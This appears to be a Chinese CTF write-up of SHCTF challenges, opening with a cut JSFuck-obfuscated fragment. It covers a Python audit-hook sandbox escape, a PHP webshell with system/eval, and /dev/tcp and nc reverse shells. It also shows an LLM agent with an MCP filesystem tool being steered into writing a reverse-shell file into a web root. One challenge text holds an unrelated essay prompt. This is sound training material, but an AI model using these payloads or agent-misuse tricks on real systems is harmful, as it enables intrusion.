+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+!+[]]+([]+[])[(![]+[])[+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(!![]+[])[+[]]+([][(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]()[+!+[]+[!+[]+!+[]]]+((!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(+(+!+[]+[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+[!+[]+!+[]]+[+[]])+[])[+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+(![]+[])[+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(!![]+[])[+[]]+[+!+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+([][[]]+[])[!+[]+!+[]]+([][[]]+[])[+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(+(+!+[]+[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+[!+[]+!+[]]+[+[]])+[])[+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[+!+[]]+([][[]]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+([][[]]+[])[!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[+!+[]]+(+(+!+[]+[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+[!+[]+!+[]]+[+[]])+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[+!+[]]+([][[]]+[])[+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[+!+[]]+(+(+!+[]+[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+[!+[]+!+[]]+[+[]])+[])[+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[+!+[]])[(![]+[])[!+[]+!+[]+!+[]]+(+(!+[]+!+[]+[+!+[]]+[+!+[]]))[(!![]+[])[+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([]+[])[([][(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][([][[]]+[])[+!+[]]+(![]+[])[+!+[]]+((+[])[([][(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[+!+[]+[+!+[]]]+(!![]+[])[!+[]+!+[]+!+[]]]](!+[]+!+[]+!+[]+[+!+[]])[+!+[]]+(![]+[])[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(!![]+[])[+[]]]((!![]+[])[+[]])[([][(!![]+[])[!+[]+!+[]+!+[]]+([][[]]+[])[+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]]()+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([![]]+[][[]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]](([][(![]+[])[+!+[]]+(!![]+[])[+[]]][([][(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+([][[]]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+!+[]]+(![]+[+[]])[([![]]+[][[]])[+!+[]+[+[]]]+(!![]+[])[+[]]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([][(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]]()[+!+[]+[+[]]]+![]+(![]+[+[]])[([![]]+[][[]])[+!+[]+[+[]]]+(!![]+[])[+[]]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([][(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]]()[+!+[]+[+[]]])()[([][(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[+[]])[([![]]+[][[]])[+!+[]+[+[]]]+(!![]+[])[+[]]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([][(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]]()[+!+[]+[+[]]])+[])[+!+[]])+([]+[])[(![]+[])[+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(!![]+[])[+[]]+([][(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]()[+!+[]+[!+[]+!+[]]])())"}'

[阶段1] Ezphp

题干: 在未来的某一天,人类已经能够进行太阳系内的旅行。小明作为一名宇航员,被赋予了一项任务:探索太阳系中的不同星球。但是,在旅途中,他发现了一个神秘的坐标,此坐标周围的空间似乎被切割为一块块光滑的镜面,折叠堆积在一块,小明在经过这的时候甚至透过舷窗同时看到了自己的后背和右腿以难以理解的角度拼接在一块。与此同时,他发现该折叠空间内部蕴含了一个小型黑洞,他试图往母星发送这一发现,但在此之前,他需要先离开这里…

晚点补上,跑亲戚去了。

[阶段1] Eazy_Pyrunner

题干: 任何人都可以运行自己的 Python 程序!不过大嗨客就算了,还有运行的程序必须是我喜欢的。

靶机展示

注意箭头地址,下面要用到

Py Runer 页面展示

攻击思路

  1. 展示页上关于 这里可能存在文件包含漏洞
  2. 文本框内可以运行 Python 代码,会有暴露很多线索,另外这种题型大概率是绕过后 RCE

dir()下可以看到两个莫名其妙的函数,大概率是审计钩子。

在这里插入图片描述


高敏字段测试了下发现都被拦了。

┌──(kali㉿kali)-[~/Desktop] └─$ curl'http://challenge.shc.tf:31458/execute' -H 'Content-Type: application/json' -d '{"code":"import os"}'{"error":"Hacker!"} ┌──(kali㉿kali)-[~/Desktop] └─$ curl'http://challenge.shc.tf:31458/execute' -H 'Content-Type: application/json' -d '{"code":"__class__"}'{"error":"Hacker!"} ┌──(kali㉿kali)-[~/Desktop] └─$ curl'http://challenge.shc.tf:31458/execute' -H 'Content-Type: application/json' -d '{"code":"123"}'{"stderr":"","stdout":""} ┌──(kali㉿kali)-[~/Desktop] └─$ curl'http://challenge.shc.tf:31458/execute' -H 'Content-Type: application/json' -d '{"code":"break"}'{"stderr":" File \"/tmp/tmp2wbqllgz.py\", line 18\n break\n ^^^^^\nSyntaxError: 'break' outside loop\n","stdout":""}

文件包含获得源码

利用上面泄露的地址可以拿到 .py 的源码

curl "http://challenge.shc.tf:31458/?file=app.py" --output -
from flask import Flask, render_template_string, request, jsonify import subprocess import tempfile import os import sys app = Flask(__name__)@app.route('/')defindex(): file_name = request.args.get('file','pages/index.html')try:withopen(file_name,'r', encoding='utf-8')as f: content = f.read()except Exception as e:withopen('pages/index.html','r', encoding='utf-8')as f: content = f.read()return render_template_string(content)defwaf(code): blacklisted_keywords =['import','open','read','write','exec','eval','__','os','sys','subprocess','run','flag','\'','\"']for keyword in blacklisted_keywords:if keyword in code:[email protected]('/execute', methods=['POST'])defexecute_code(): code = request.json.get('code','')ifnot code:return jsonify({'error':'请输入Python代码'})ifnot waf(code):return jsonify({'error':'Hacker!'})try:with tempfile.NamedTemporaryFile(mode='w', suffix='.py', delete=False)as f: f.write(f"""import sys sys.modules['os'] = 'not allowed' def is_my_love_event(event_name): return event_name.startswith("Nothing is my love but you.") def my_audit_hook(event_name, arg): if len(event_name) > 0: raise RuntimeError("Too long event name!") if len(arg) > 0: raise RuntimeError("Too long arg!") if not is_my_love_event(event_name): raise RuntimeError("Hacker out!") __import__('sys').addaudithook(my_audit_hook) {code}""") temp_file_name = f.name result = subprocess.run([sys.executable, temp_file_name], capture_output=True, text=True, timeout=10) os.unlink(temp_file_name)return jsonify({'stdout': result.stdout,'stderr': result.stderr })except subprocess.TimeoutExpired:return jsonify({'error':'代码执行超时(超过10秒)'})except Exception as e:return jsonify({'error':f'执行出错: {str(e)}'})finally:if os.path.exists(temp_file_name): os.unlink(temp_file_name)if __name__ =='__main__': app.run(debug=True)

blacklist 涉及如下关键字
['import', 'open', 'read', 'write', 'exec', 'eval', '__', 'os', 'sys', 'subprocess', 'run', 'flag', '\'', '\"']

审计函数逻辑:

sys.modules[‘os’] = ‘not allowed’ # os 不让用
return event_name.startswith(“Nothing is my love but you.”) # event name 必须以 关键字开头
len(event_name) > 0 # event name 不能大于0
len(arg) # 参数不能大于0

payload

这道题相对还是比较简单,可以用内置方法让审计函数失效,再通过 posix 等来执行命令,具体payload 在下面,复用的时候 注意把注释中和 blacklist 冲突的关键字删掉

# 1. 初始化与工具获取 g =globals()# 获取内置字典 (适应不同环境的动态获取) bi =vars(g[bytes([95,95,98,117,105,108,116,105,110,115,95,95]).decode()])# 2. 彻底瘫痪审计逻辑# 劫持身份校验,绕过 "Hacker out!" g[bytes([105,115,95,109,121,95,108,111,118,101,95,101,118,101,110,116]).decode()]=lambda x:True# 劫持长度检查,绕过 "Too long..." bi[bytes([108,101,110]).decode()]=lambda x:0# 降级异常,确保执行流不中断 bi[bytes([82,117,110,116,105,109,101,69,114,114,111,114]).decode()]= Exception # 3. 绕过模块封锁获取 RCE 接口try:# 避开 sys.modules['os'],直接拿 posix s_mod = g[bytes([115,121,115]).decode()] m_dict =getattr(s_mod,bytes([109,111,100,117,108,101,115]).decode()) po_mod = m_dict.get(bytes([112,111,115,105,120]).decode())# 获取 system 函数 s_func =getattr(po_mod,bytes([115,121,115,116,101,109]).decode())# 4. 执行命令# 使用 try-except 包裹以应对可能残留的异常信号try: s_func(bytes([105,100]).decode())# 示例: 执行 idexcept:passexcept Exception as e:pass

运行 payload 后发现已经可以 RCE

成功RCE截图

get shell + flag

反弹可以用下面的方法,注意要先编码

nc ip port -e sh
┌──(kali㉿kali)-[~/Desktop/tools]#示例 └─$ python -c "print([ord(i) for i in list('nc 192.168.100.100 9999 -e sh')])"[110, 99, 32, 49, 57, 50, 46, 49, 54, 56, 46, 49, 48, 48, 46, 49, 48, 48, 32, 57, 57, 57, 57, 32, 45, 101, 32, 115, 104]

进去后看到 /flag 无权限查看,但本地有个 /read_flag,运行就可以读到 flag

getshell+flag

其他思路

这道题可以注入阻塞类代码比如数字很大的求和,让代码运行时间较长,同时提前在代码注释插入 request.files.get 等方法,如果可以通过文件包含读到缓存文件或者 /proc/self/fd/ 下面的文件,那就可以用二次渲染的 ssti 注入。不过测试了几次都没能成功,这里抛个砖。

[阶段1] 05_em_v_CFK

题干: 继某两所大学校内餐厅被黑后,终于考上大学的小明也想“逝世”,但是他遇到了一些困难于是请求你的帮助。他给你留了一个webshell,并给你的一条线索,去帮他完成吧。
请联系CTF生活,写一篇文章,谈谈你的认识与思考。
要求:(1)自拟题目;(2)不少于 800字。

靶机展示

我们只有$3,Golden Flag 需要 $50。初尝试了下抓包修改等均无效,根据题干看没那么简单。

在这里插入图片描述

信息收集

  1. 源码存在如下隐藏信息
5bvE5YvX5Ylt5YdT5Yvdp2uyoTjhpTujYPQyhXoxhVcmnT935L+P5cJjM2I05oPC5cvB55dR5Mlw6LTK54zc5MPa
在这里插入图片描述


2. 解码可知内容为:

我上传了个shell.php, 带上show参数get小明的圣遗物吧

不是标准的 base64 编码表,但是这编码表被 CyberChef 收录所以就直接爆出来了。

https://gchq.github.io/CyberChef
在这里插入图片描述


3. 此外经爆破靶机存在如下 文件/目录

index.php
connect.php
/uploads/
/uploads/shell.php (要带参数访问,根据 base64 解码的提示)
┌──(kali㉿kali)-[~] └─$ curl -I http://challenge.shc.tf:30659/index.php HTTP/1.1 200 OK ┌──(kali㉿kali)-[~] └─$ curl -I http://challenge.shc.tf:30659/connect.php HTTP/1.1 200 OK ┌──(kali㉿kali)-[~] └─$ curl -I http://challenge.shc.tf:30659/uploads/ HTTP/1.1 403 Forbidden ┌──(kali㉿kali)-[~] └─$ curl -I http://challenge.shc.tf:30659/uploads/shell.php HTTP/1.1 404 Not Found ┌──(kali㉿kali)-[~] └─$ curl -I http://challenge.shc.tf:30659/uploads/shell.php?show HTTP/1.1 200 OK ┌──(kali㉿kali)-[~] └─$ curl http://challenge.shc.tf:30659/uploads/shell.php?show <code><span style="color: #000000"><span style="color: #0000BB">&lt;?php<br /><br /></span><span style="color: #007700">if&nbsp;(isset(</span><span style="color: #0000BB">$_GET</span><span style="color: #007700">[</span><span style="color: #DD0000">'show'</span><span style="color: #007700">]))(这里出爆出了源码,具体贴在下面)

第二层 php 源码及审计

根据小明提示,访问他的后门并加参数show,我们得到了源码
$passmd5 比较简单,随便什么解密网站基本都能直接爆出来是 114115

<?phpif(isset($_GET['show'])){highlight_file(__FILE__);}$pass='c4d038b4bed09fdb1471ef51ec3a32cd';if(isset($_POST['key'])&&md5($_POST['key'])===$pass){if(isset($_POST['cmd'])){system($_POST['cmd']);}elseif(isset($_POST['code'])){eval($_POST['code']);}}else{http_response_code(404);}

弹个 shell

┌──(kali㉿kali)-[~] └─$ curl -X POST http://challenge.shc.tf:30659/uploads/shell.php -d "key=114514" --data-urlencode "cmd=bash -c 'sh -i >& /dev/tcp/xxx.xxx.xxx.xxx/xxx 0>&1'"

index.php 源码分析

可以看到 $my_money 代码写死是 3.00 也就是我们页面上看到的余额

<?phpinclude'connect.php';$my_money=3.00;$msg="";$target_id=0;if(isset($_POST['buy'])&&isset($_POST['item_id'])){$target_id=(int)$_POST['item_id'];if($target_id>0){try{$stmt=$pdo->prepare("CALL buy_item(?, ?)");$stmt->execute([$target_id,$my_money]);$res=$stmt->fetch();$msg=$res['final_message'];$my_money-=$res['current_price'];}catch(Exception$e){$msg="Transaction Error: ".$e->getMessage();}}else{$msg="Invalid item selected.";}}else{try{$stmt=$pdo->query("SELECT id, name, price FROM goods ORDER BY id ASC");if($stmt===false){exit;}$goods_list=$stmt->fetchAll();}catch(Exception$e){die("Error fetching goods list.");}}?>(当中html/css的略)<body><div class="card"><h1>Flag 商店</h1><div class="balance"> 你的钱包余额:<span style="color: red;">$<?php echo$my_money;?></span></div><?php if($msg):?><div class="alert"> 系统消息:<?php echohtmlspecialchars($msg);?></div><?php else:?><h2>商品列表</h2><table><thead><tr><th>ID</th><th>商品名称</th><th>价格</th><th>操作</th></tr></thead><tbody><?php foreach($goods_listas$good):?><tr><td><?php echohtmlspecialchars($good['id']);?></td><td><?php echohtmlspecialchars($good['name']);?></td><td class="price">$<?php echohtmlspecialchars(number_format($good['price'],2));?></td><td><form method="post"><input type="hidden" name="item_id" value="<?php echo htmlspecialchars($good['id']); ?>"><button type="submit" name="buy"class="btn">购买</button></form></td></tr><?php endforeach;?></tbody></table><?php endif;?></div></body>

connect.php 逻辑

这个文件具体代码不贴了,是比较复杂的加密逻辑,用于链接数据库,本轮想直接破解的,但感觉难度较大,我们绕过直接打数据库吧。

攻击思路

根据下面的代码,可以看到, $my_moneyindex.php 中直接写入了 3.00 元不过文件没有权限改写,但是 $pdo 是数据库链接对象,我们可以通过 webshellcode 直接 include

$my_money=3.00;$msg="";$target_id=0;if(isset($_POST['buy'])&&isset($_POST['item_id'])){$target_id=(int)$_POST['item_id'];if($target_id>0){try{$stmt=$pdo->prepare("CALL buy_item(?, ?)");$stmt->execute([$target_id,$my_money]);$res=$stmt->fetch();$msg=$res['final_message'];$my_money-=$res['current_price'];}catch(Exception$e){$msg="Transaction Error: ".$e->getMessage();}}else{$msg="Invalid item selected.";}}

利用代码层构造如下 payload 且通过 webshellcode 参数传入,传入购买 id=3 的商品时告诉后端我们有100.00元,足够支付 flag 价格。

┌──(kali㉿kali)-[~] └─$ curl -s http://challenge.shc.tf:30659/uploads/shell.php \ -d "key=114514"\ --data-urlencode "code=include '../connect.php'; \$stmt = \$pdo->prepare('CALL buy_item(?, ?)'); \$stmt->execute([3, 100.00]); print_r(\$stmt->fetch());" Array ([current_price]=>50[final_message]=> SHCTF{d048c6c5-9efc-4817-97e3-a4af766ffb4c})

另外看了群里面师傅们的其他思路,直接改写一个 index1.php$my_money 改成大于等于 50.00 再访问 xxxxx/index1.php 也可以,反正金额是这个文件里面赋值的,这样解决了 index.php 无权限修改的问题。

[MISC][阶段2] ezAI

这道题虽然是 MISC 但依旧用到了 WEB 的渗透手法。

靶机展示

*题干:

输入 help 获取帮助
在 https://bigmodel.cn/usercenter/proj-mgmt/apikeys 新建 API Key 并在靶机中填入
靶机安装了 https://www.npmjs.com/package/@modelcontextprotocol/server-filesystem/v/0.6.1
flag文件放置在/root下,flag的文件名需自行读取
靶机访问页面


另外题目提示如下,很重要

在这里插入图片描述

攻击思路

这个靶机并不是把 flag 告诉大模型后,再用 system promptflag 设置成 TOP-SECRET 禁止模型向所有人透露,而是要求读取到系统内的文件,所以需要用渗透的手法打到服务器里面,然后再想办法。根据题干透露的信息我们到 MCPJS 查阅安装的插件可以看到,接入的 MCP 目前具备读取文件/文件夹,写入/移动文件,以及 list_allowed_directories 等能力。

攻击步骤–打点阶段

  1. 我们先用 list_allowed_directories 查看下 MCP 可以控制的文件夹
我们看到显示出的目录是 /var/www/h
list_allowed_directories

尝试让 MCPphpinfo() 写入文件成功,但是访问发现 404,因为写入的是 /var/www/h/1.php

在这里插入图片描述
┌──(kali㉿kali)-[~/Desktop] └─$ curl http://challenge.shc.tf:31170/1.php <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache/2.4.65 (Debian) Server at challenge.shc.tf Port 31170</address></body></html>

尝试写入 /var/www/html
考虑到服务器是 apache 尝试往其默认目录 /var/www/html 写写看文件,发现写入成功,并且可以访问到

在这里插入图片描述
┌──(kali㉿kali)-[~/Desktop] └─$ curl http://challenge.shc.tf:31170/phpinfo.php |grep -i phpinfo % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 100136140136140<title>PHP 8.2.29 - phpinfo()</title><meta name="ROBOTS"content="NOINDEX,NOFOLLOW,NOARCHIVE" /></head>0475620 --:--:-- --:--:-- --:--:-- 47435<tr><td class="e">SCRIPT_FILENAME </td><td class="v">/var/www/html/phpinfo.php </td></tr><tr><td class="e">REQUEST_URI </td><td class="v">/phpinfo.php </td></tr><tr><td class="e">SCRIPT_NAME </td><td class="v">/phpinfo.php </td></tr><tr><td class="e">HTTP Request </td><td class="v">GET /phpinfo.php HTTP/1.1 </td></tr><tr><td class="e">$_SERVER['SCRIPT_FILENAME']</td><td class="v">/var/www/html/phpinfo.php</td></tr>100<tr><td class="e">$_SERVER['REQUEST_URI']</td><td class="v">/phpinfo.php</td></tr>76205<tr><td class="e">$_SERVER['SCRIPT_NAME']</td><td class="v">/phpinfo.php</td></tr><tr><td class="e">$_SERVER['PHP_SELF']</td><td class="v">/phpinfo.php</td></tr>07620500 154k 0 --:--:-- --:--:-- --:--:-- 154k 

  1. 写入一句话木马并访问,成功 getshell
使用write_file() 在 /var/www/html/ 文件夹中创建 xxxxxx.php 并写入以下内容<?php system(“bash -c ‘bash -i >& /dev/tcp/xxx.xxx.xxx.xxx/xxxx 0>&1’”);
mcp 写入反弹shell成功


成功 get shell ,不过只是 www-data 的权限。

mcp 直接写反弹,拿到低权限反弹

攻击步骤–后渗透阶段

  1. 查找 flag
    根据题干 flag/root 下面,查看了下是没权限访问的,所以后面还要想办法提权。
www-data@cl-12-1bfb5a1a523ae074:/var/www/html$ cd /root cd /root bash: cd: /root: Permission denied www-data@cl-12-1bfb5a1a523ae074:/var/www/html$ 

  1. 先看下 /var/www 文件夹到底是怎么回事
    的确是有2个文件夹 hhtml ,单看权限的话 user:www-data 只能操作 html 文件夹,而 user:mcp 可以同时操作这2个文件夹的内容。
www-data@cl-12-1bfb5a1a523ae074:/var/www/html$ ls -al ..ls -al .. total 0 drwxr-xr-x. 1 root root 18 Dec 1717:19 . drwxr-xr-x. 1 root root 28 Dec 1717:18 .. drwxr-xr-x. 2 mcp mcp 22 Dec 1717:19 h drwxrwxr-x. 1 mcp www-data 41 Feb 1614:44 html 

  1. ps -aux 查看进程
    我们看到 user:rootsu -s /bin/bashuser:mcp 执行了 node 启动了 mcp 服务,同时把流量转发到了本地的 1337 端口,而且 mcp 服务的目录的确是 /var/www/h 文件夹。这个 mcp 服务我们先放一放,回头再研究。
ps aux USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND (....) root 170.00.041282768 ? S 14:39 0:00 su -s /bin/bash mcp -c socat TCP-LISTEN:1337,bind=127.0.0.1,fork,reuseaddr EXEC:"/usr/bin/node --no-warnings --no-deprecation /opt/mcp-server/node_modules/.bin/mcp-server-filesystem /var/www/h" mcp 190.00.0103324552 ? Ss 14:39 0:00 socat TCP-LISTEN:1337,bind=127.0.0.1,fork,reuseaddr EXEC:/usr/bin/node --no-warnings --no-deprecation /opt/mcp-server/node_modules/.bin/mcp-server-filesystem /var/www/h 

  1. 内网信息收集
    收集到任务计划的时候,我们看到 php 这个任务计划,是每分钟让 root 执行一次 /usr/lib/php/sessionclean 脚本,而碰巧这个脚本是 user:mcp 可以 rwx 的。
